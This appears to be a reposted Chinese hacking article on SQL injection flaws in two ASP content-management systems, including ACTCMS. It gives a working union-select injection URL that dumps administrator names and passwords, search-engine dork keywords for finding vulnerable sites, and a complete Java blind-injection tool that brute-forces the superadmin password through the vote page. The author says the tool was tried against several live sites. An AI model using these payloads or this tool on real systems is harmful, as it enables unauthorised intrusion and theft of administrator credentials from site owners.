| 关键词: nbsp System preVoteNum println public Asp JAVA 20 static import |
漏洞描述: User_Article.Asp导致注入,暴出管理员密码。 利用方法: http://localhost/User/User_Article.Asp?ModeID=1action=addsclassid=-1'%20union%20select%201,2,3,4,5,admin_name%2B'|'%2Bpassword,7,8,9,10,11,12,13,14,15,16,... baidu或者google搜索关键字:inurl:TypeClass.asp 漏洞描述: User_Article.Asp导致注入,暴出管理员密码。 利用方法: http://localhost/User/User_Article.Asp?ModeID=1&action=adds&classid=-1'%20union%20select%201,2,3,4,5,admin_name%2B'|'%2Bpassword,7,8,9,10,11,12,13,14,15,16,17,18%20from%20admin_act%20where%20'1'='1 baidu或者gg搜索关键字:inurl:TypeClass.asp ============================================== 2。 一款ASP的CMS程序。用的人并不是太多。GOOGLE一下关键字“Copyright @ 2006 www.actcms.com” ,不是太多。 今天看了一下代码。基本上所有的参数全都被过滤掉了。。 不过投票那里出了点小问题。。 在/plus/vote/vote.asp页面。代码如下: ASP/Visual Basic代码.... if request("voted").count=0 then response.write "<script>alert('请选择投票项目。');window.close()</script>" response.end end if for i=1 to request("voted").count actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) next .... response.Redirect "index.asp?id="&id&"" id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。 唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。 代码如下: Java代码import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; import java.util.regex.Matcher; import java.util.regex.Pattern; public class ActCmsGetPwd { public static char[] arr = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; public static String siteurl = ""; public static int voteid = 1; public static String charset = ""; public static void main(String[] args) throws Exception { if (args.length < 4) { System.out .println("usage:java ActCmsGetPwd <siteurl> <voteid> <totalVoteNum> <charset>"); System.out.println("siteurl:目标站点"); System.out.println("voteid:投票id"); System.out .println("totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id=<voteid>"); System.out.println("charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码"); System.out.println("eg:java ActCmsGetPwd http://www.abc.com/ 1 15 gb2312"); return; } siteurl = args[0]; voteid = Integer.parseInt(args[1]); int preVoteNum = Integer.parseInt(args[2]); charset = args[3]; System.out.println("Code by Ninty , QQ 3191864"); System.out.print("password is :"); for (int i = 1; i <= 16; i++) { System.out.print(send(i, 0, preVoteNum)); preVoteNum++; } System.out.println(" Done!"); } public static char send(int a, int b, int preVoteNum) throws Exception { String sql = "%20and%20(select%20top%201%20mid(password," + a + ",1)%20from%20admin_act%20where%20supertf%20=1)%20=%20'" + arr[b] + "'"; URL u = new URL(siteurl + "/Plus/vote/vote.asp?dopost=send&id="+voteid+"&ismore=0&voted=3" + sql); URLConnection conn = u.openConnection(); BufferedReader reader = new BufferedReader(new InputStreamReader(conn .getInputStream(),charset)); String str = reader.readLine(); while (str != null) { if (str.indexOf(" 投票人数:") != -1) { break; } str = reader.readLine(); } reader.close(); if (!isRight(str, preVoteNum)) { return send(a, ++b, preVoteNum); } else { return arr[b]; } } public static boolean isRight(String str, int preVoteNum) { if (str == null) { System.out.println("无法读取!"); System.exit(0); } Pattern pat = Pattern.compile("人数:(\\d+)"); Matcher mat = pat.matcher(str); if (mat.find()) { int num = Integer.parseInt(mat.group(1)); if (num != preVoteNum) { return true; } } return false; } } 下面是已经编译好的 class文件,编译环境JDK6。直接运行就好。actcmsgetpwd.class 在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|